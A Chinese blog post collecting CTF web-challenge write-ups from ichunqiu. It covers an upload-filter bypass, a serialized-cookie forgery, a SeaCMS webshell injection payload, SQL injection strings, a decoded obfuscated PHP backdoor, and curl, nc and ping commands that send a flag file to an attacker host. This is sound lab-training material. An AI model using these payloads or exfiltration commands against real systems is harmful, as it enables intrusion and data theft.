b1cat`s

ichunqiu 上web题writeup(持续更新2)

Word count: 3.8kReading time: 19 min
2018/05/01

ichunqiu 上web题writeup,题目按分值从小到大排序

123

| php别名:php2, php3, php4, php5, phps, pht, phtm, phtml 。

  • 登录

查看源代码

1
2
<!-- 用户信息都在user.php里 -->
<!-- 用户默认默认密码为用户名+出生日期 例如:zhangwei1999 -->

信息泄露找到user.php.bak 得到用户名文件

爆破密码 :用户名+四位出生日期

得到账户/密码:lixiuyun/lixiuyun1990

  • 绕过上传
1
2
3
4
5
<!-- 存在漏洞需要去掉  -->
<!-- <form action="" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form> -->

取消掉注释上传 php文件

只允许上传.jpg,.png,.gif,.bmp后缀文件

把所有的php别名上传一遍都没有成功,猜测是白名单过滤

加上.jpg.php 显示

不允许文件名内有php

用pht 绕过得到

<a href="/view.php">view</a>

  • getFlag

查看回显 file?

提交参数 view.php?file=flag

显示 filter:flag

双显绕过过滤 显示flag

Login

登录

第一眼是以为要注入,提交了一番测试数据没有都显示error

查看了源代码有

test1 test1

登录跳转到member.php 内容为(╯‵□′)╯︵┴─┴

猜测可能是bool型注入

注入成功则跳转,失败则输出error

尝试提交username=test1+%27+or+1%23&password=test1 返回error

再试username=test1+%27+and+1%23&password=test1 返回error

难道过滤了特征字符

这时看到member.php响应头有个show: 0

在请求头加入show: 1

返回代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}

function select($where)
{
$sql = mysql_query('select * from user where '.$where);
return @mysql_fetch_array($sql);
}
}

if(isset($requset['token']))
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}

审计一番:

当 login[‘user’] 为 ichunqiu则 echo flag

而 login 经 request[‘token’] 进行系列化,gz压缩,base64多重编码得到

所以反向编码

echo base64_encode(gzcompress(serialize(array('user'=>'ichunqiu'))));

提交

Cookie: token=eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==

即可getFlag

海洋CMS

直接搜索海洋cms 漏洞

前台搜索getshell http://balis0ng.com/post/dai-ma-shen-ji/2016-11-02

测试payload: /search.php?searchtype=5&tid=0&year=23334444);phpinfo();//

shell : /search.php?searchtype=5&tid=0&year=23334444);assert($_POST['1']);//

菜刀连接

没有找到flag.php

从配置文件 data/common.inc.php 找到数据库配置文件

1
2
3
4
5
6
7
8
9
<?php
//数据库连接信息
$cfg_dbhost = '127.0.0.1';
$cfg_dbname = 'seacms';
$cfg_dbuser = 'sea_user';
$cfg_dbpwd = '46e06533407e';
$cfg_dbprefix = 'sea_';
$cfg_db_language = 'utf8';
?>

连接数据库在表flag_140ad2e0d8cb 找到flag

backdoor

can you find flag.php

  • git 泄露

http://ee436764e21f4ad180a0d6ff6b2a4089208812a954a043ff.game.ichunqiu.com/Challenges/.git

利用Githack 下载下来

1
2
3
4
5
6
7
8
➜  ee436764e21f4ad180a0d6ff6b2a4089208812a954a043ff.game.ichunqiu.com git:(master) ✗ ls
flag.php index.php robots.txt
➜ ee436764e21f4ad180a0d6ff6b2a4089208812a954a043ff.game.ichunqiu.com git:(master) ✗ git log
➜ ee436764e21f4ad180a0d6ff6b2a4089208812a954a043ff.game.ichunqiu.com git:(master) ✗ git reset --hard 12c6ddf
HEAD is now at 12c6ddf test
➜ ee436764e21f4ad180a0d6ff6b2a4089208812a954a043ff.game.ichunqiu.com git:(master) ✗ cat flag.php
<?php
echo "flag{true_flag_is_in_the_b4ckdo0r.php}";

can you find the source code of me?

  • vim 文件恢复

访问 b4ckdo0r.php 404, 查找相关文件 .b4ckdo0r.php.swp

.b4ckdo0r.php.swo存在

恢复:改名为.swp 然后vim -r b4ckdo0r.php按w 即恢复得到源码文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
echo "can you find the source code of me?";
/**
* Signature For Report
*/$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';/*
*/$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/*
*/$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/*
*/$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/*
*/$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/*
*/$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';/*
*/$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';/*
*/$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3';/*
*/$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';/*
*/$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m';/*
*/$y=str_replace('b','','crbebbabte_funcbbtion');/*
*/$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';/*
*/$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/*
*/$v=$y('',$L);$v();/*
*/
?>
  • 混淆解密
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
$kh="4f7f";
$kf="28d7";

// 循环异或加密解密,密钥 $k // 类似第6周第5题 自定义加解密
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra){
// 将 referer 的 query string 的 各个value取出到 $q
$u=parse_url($rr); // parse referer, return array, keys: scheme,host,port,user,pass,path,query,fragment
parse_str($u["query"],$q); // parse query string into $q (array).
$q=array_values($q); // array values

// 分析 Accept-Language, 提取 每种语言的首字母和权重数字。
// Searches $ra for all matches to the regular expression given and puts them in $m
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m){
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1]; // 两组首字母
$h=$sl($ss(md5($i.$kh),0,3)); // md5($i . $kh) 的前三个字符小写。攻击时附在 $p 开头
$f=$sl($ss(md5($i.$kf),0,3)); // $p 是编码后Payload,攻击时附加到$p 后面

// 拼接Payload
$p="";
for($z=1;$z<count($m[1]);$z++) // 从$q 中取出 $m 正则匹配到的第2组中索引 1 -- count($m[1])-1 的值(0-9)作为键的值连接,得到$p
$p.=$q[$m[2][$z]]; // 上例(language), $p .= $q[8]


// 去除 $p Payload 开头的 $h
if(strpos($p,$h)===0){ // $h 在 $p[0] 位置出现。
$s[$i]=""; // $_SESSION[$i] = '' , $i 是正则匹配到的两组首字母
$p=$ss($p,3); // $p 从第3个字符开始的子串,去掉 $h
}
if(array_key_exists($i,$s)){ // exist $s[$i], $_SESSION[$i] , if 条件必须有 上文 $h 在 $p[0] 位置出现
$s[$i].=$p;
$e=strpos($s[$i],$f); // $f 是md5 前三个字符小写 ,在 $s[$i]
if($e){ // 必须有 $f 作为"停止字符串"
$k=$kh.$kf; // 4f7f28d7
ob_start();
/*
去除末尾的 $f
URL safe base64 还原为普通base64
base64 解码
循环异或解密
zlib 解密,还原出PHP代码
执行PHP代码
*/
//@eval(@gzuncompress(@x(@base64_decode( preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e)) ),$k)));
echo "CMD WILL EXEC:\n<br />";
echo(@gzuncompress(@x(@base64_decode( preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e)) ),$k)));
$o=ob_get_contents(); // output
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k)); // 编码
print $o;
//print("<$k>$d</$k>");
@session_destroy();
}
}
}
}

| php混淆代码分析 http://www.cnblogs.com/go2bed/p/5920811.html

没有分析出payload

GetFlag

  • Index

    Hello, single dog, This is a mini file manager, you can login and download the files and even get the flag.

  • 爆破验证码

    substr(md5(captcha), 0, 6)=ed8970

    每次登陆需要输入captcha 验证

    所以要根据生成值去找出md5前的明文值

    上py

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    import hashlib
    import sys

    def getMD5(Cap):

    for x in range(100000,100000000):
    MD5 = hashlib.md5(str(x).encode('utf-8')).hexdigest()
    if MD5[:6] == Cap:
    return x

    print(getMD5(sys.argv[1]))

    此时为14499687

  • 注入

    没怎么过滤,直接用万能密码就进去了

    username=admin&password=admin'or 1 %23&captcha_md5=144996870&submit=Submit

    1. hello.txt
      . s.txt
    2. a.php

    挨个点了一下,都下载下来了。

    • a.php

      1
      2
      3
      <?php
      echo "Do what you want to do, web dog, flag is in the web root dir";
      ?>

      然后去尝试下载flag 文件

      flag.php ../flag.php ../../flag.php 失败

      检测出只要包含./ 就返回flag{wow!!!but not true} ,文件不存在返回空,不允许下载文件返回Error

      想去下载download.php看看怎么执行的,返回Error

      想到绝对路径

      /var/www/html/Challenge/flag.php

    • flag.php

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      <?php
      $f = $_POST['flag'];
      $f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
      if((strlen($f) > 13) || (false !== stripos($f, 'return')))
      {
      die('wowwwwwwwwwwwwwwwwwwwwwwwww');
      }
      try
      {
      eval("\$spaceone = $f");
      }
      catch (Exception $e)
      {
      return false;
      }
      if ($spaceone === 'flag'){
      echo file_get_contents("helloctf.php");
      }

      ?>
  • GetFlag

    审计一番,需要POST提交参数flag ,若flag=flag则输出helloctf.php 中的内容

    直接去download 返回Error 提交返回空白

    看来需要转化字符串

    了解到PHP字符串有四种结构,单引号双引号heredocnowdoc (5.3起)

    http://php.net/manual/zh/language.types.string.php

    | Heredoc 结构

    第三种表达字符串的方法是用 heredoc 句法结构:<<<。在该运算符之后要提供一个标识符,然后换行。接下来是字符串 string 本身,最后要用前面定义的标识符作为结束标志

    | Warning

    | 要注意的是结束标识符这行除了可能有一个分号(;)外,绝对不能包含其它字符。而结束定界符(可能其后有个分号)之后也必须紧跟一个换行

    由于过滤了引号,这里考虑heredoc

    1
    2
    3
    4
    <<<A
    flag
    A;
    // 这里需要有新行

    由于存在换行,进行url编码即可获取 flag

    flag=%3c%3c%3c%41%0a%66%6c%61%67%0a%41%3b%0a

The request url

Tag: method .htaccess x-forwarded-for client-ip 127.0.0.1

访问页面返回自定义的404, 存在响应头 x-header:haha

尝试HTTP 方法,POST,HEAD,OPTIONS

OPTIONS 发现重定向到?f=1.php 并读取了1.php文件内容

OPTIONS /?f=1.php HTTP/1.1

1
2
3
4
5
<?php 
$msg = "not here";
$msg .= PHP_EOL;
$msg .="plz trying";
echo $msg;

尝试读取flag.php => Not allowed file

最后在.htaccess 读取到

1
2
3
RewriteEngine On
RewriteBase /
RewriteRule ^8d829d8568e46455104209db5cd9228d.html$ 404.php [L]

跟到 /8d829d8568e46455104209db5cd9228d.html 返回

ip incorrect ???XFF???

提交X-Forwarded-For: 127.0.0.1 失败

最后client-ip: 127.0.0.1 获取到flag

VLD

| VLD简介:

| VLD是php的一个拓展,通过设置hookable获取运行时信息,用以查看PHP被解释为OPCode*

| https://gywbd.github.io/posts/2016/2/zend-execution-engine.html

  • 先行

查看源代码提示index.php.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
...

line # * op fetch ext return operands
---------------------------------------------------------------------------------
2 0 > EXT_STMT
1 ECHO 'do+you+know+Vulcan+Logic+Dumper%3F%3Cbr%3E'
3 2 EXT_STMT
3 BEGIN_SILENCE ~0
4 FETCH_R global $1 '_GET'
5 FETCH_DIM_R $2 $1, 'flag1'
6 END_SILENCE ~0
7 ASSIGN !0, $2
4 8 EXT_STMT
9 BEGIN_SILENCE ~4
10 FETCH_R global $5 '_GET'
11 FETCH_DIM_R $6 $5, 'flag2'
12 END_SILENCE ~4
13 ASSIGN !1, $6
5 14 EXT_STMT
15 BEGIN_SILENCE ~8
16 FETCH_R global $9 '_GET'
17 FETCH_DIM_R $10 $9, 'flag3'
18 END_SILENCE ~8
19 ASSIGN !2, $10
6 20 EXT_STMT
21 IS_EQUAL ~12 !0, 'fvhjjihfcv'
22 > JMPZ ~12, ->38
7 23 > EXT_STMT
24 IS_EQUAL ~13 !1, 'gfuyiyhioyf'
25 > JMPZ ~13, ->35
8 26 > EXT_STMT
27 IS_EQUAL ~14 !2, 'yugoiiyhi'
28 > JMPZ ~14, ->32
9 29 > EXT_STMT
30 ECHO 'the+next+step+is+xxx.zip'
10 31 > JMP ->34
11 32 > EXT_STMT
33 ECHO 'false%3Cbr%3E'
13 34 > > JMP ->37
14 35 > EXT_STMT
36 ECHO 'false%3Cbr%3E'
16 37 > > JMP ->40
17 38 > EXT_STMT
39 ECHO 'false%3Cbr%3E'
19 40 > NOP
22 41 EXT_STMT
42 ECHO '%3C%21--+index.php.txt+%3F%3E%0D%0A%0D%0A'

...

看到有GET方法,三个flag,三个值,后面有个xxx.zip

猜测 ?flag1=&flag2=&flag3= 访问后得到xxx 的真正名字 1chunqiu.zip

下载得到一些php文件

  • 审计

    • dbmysql.class.php
    1
    2
    3
    4
    5
    6
    public function safe_data($value){
    if( MAGIC_QUOTES_GPC ){
    stripcslashes($value);
    }
    return addslashes($value); //转义 ' " \ Null
    }

    • login.php
    1
    2
    3
    4
    5
    6
    7
    8
    9
    if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['number'])){
    $db = new mysql_db();
    $username = $db->safe_data($_POST['username']);
    $password = $db->my_md5($_POST['password']);
    $number = is_numeric($_POST['number']) ? $_POST['number'] : 1;

    $username = trim(str_replace($number, '', $username)); //去掉$user中的数字然后去掉空值

    $sql = "select * from"."`".table_name."`"."where username="."'"."$username"."'";
  • 单引号逃逸

1
2
➜  basic php -r "echo addslashes(urldecode('test%00\''));"
test\0\'

若$number=0 可是单引号逃逸test\\'

  • 注入
1
number=0&username=test%27 or updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema=(select database()) limit 1)),1)%23&password=%60&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

flag

1
number=0&username=test%27 or updatexml(1,concat(1,(select column_name from information_schema.columns where table_name=0x666c6167 limit 1)),1)%23&password=%60&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

数据库执行错误!Unknown column ‘x666c6167’ in ‘where clause’

1
number=0&username=test%27 or updatexml(1,concat(1,(select * from flag )),1)%23&password=%60&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

flag{9ee0c021-52c2-487d-9987-12732fafc89d}

1
number=0&username=test%27 or updatexml(1,concat(1,(select substr(flag,16,64) from flag )),1)%23&password=%60&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

c2-487d-9987-12732fafc89d}

Exec

查看源代码editor提示vim

查找vim编辑异常退出的文件 .index.php.swp

恢复index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
/*
flag in flag233.php
*/
function check($number) //$number = 0 ?
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '11259375';
}
if(isset($_GET[sign])&& check($_GET[sign])){
setcookie('auth','tcp tunnel is forbidden!');
if(isset($_POST['cmd'])){
$command=$_POST[cmd];
$result=exec($command);
//echo $result;
}
}else{
die('no sign');
}
?>

两个限制

  • sign

    11259375 => 0xabcdef

    不明白$number = 0 不满足{$digit = ord(0) =48} >= {ord(1)=49} 为什么还是return false

  • exec

    不能输出结果且禁止tcp那只能udp操作

    curl : curl your-server-ip/xxx.php?a=1 -F file=@flag233.php

    nc: nc -u your-server-ip 9999< flag233.php nc -ul 9999

    ping:ping –c 1 `whoami`.xxx.xxx.com

查看主机即可 flag{c97ced3d-83bb-46b6-bad2-a50d7c118b6a}

先登陆再说

| tips1:隐藏文件?非php源代码 tips2:缓存?

一开始尝试找隐藏文件,试了半天没有找到,看题目是先登录那就先登录

username=admin'&password=admin => 用户名不存在

username=admin' or '1&password=admin => 密码错误

即为布尔盲注

username=admin' or user() regexp 'u'%23&password=admin

源码提示了class=”user_n3me”> class=”p3ss_w0rd”

username=admin' or p3ss_w0rd regexp 'X'%23&password=admin

注入获取账号和密码

user_n3me => bctf3dm1n

p3ss_w0rd => 2bfb1532857ddc0033fdae5bde3facdf => adminqwe123666

1
2
3
4
5
➜  eca5d6688e9d426389add7413a78ad7b2f30e227693f452e.game.ichunqiu.com git:(master) git cat-file -p a17d89c6219a1bcca6cb3b40526cc5b9da715a6e 
<?php
echo '71ec9d5ca5580c58d1872962c596ea71.php';
//niubi 666
?>

访问即可

CATALOG
  1. 1. 123
  2. 2. Login
  3. 3. 海洋CMS
  4. 4. backdoor
  5. 5. GetFlag
    1. 5.0.1. | Heredoc 结构 ¶
  • 6. The request url
  • 7. VLD
  • 8. Exec
  • 9. 先登陆再说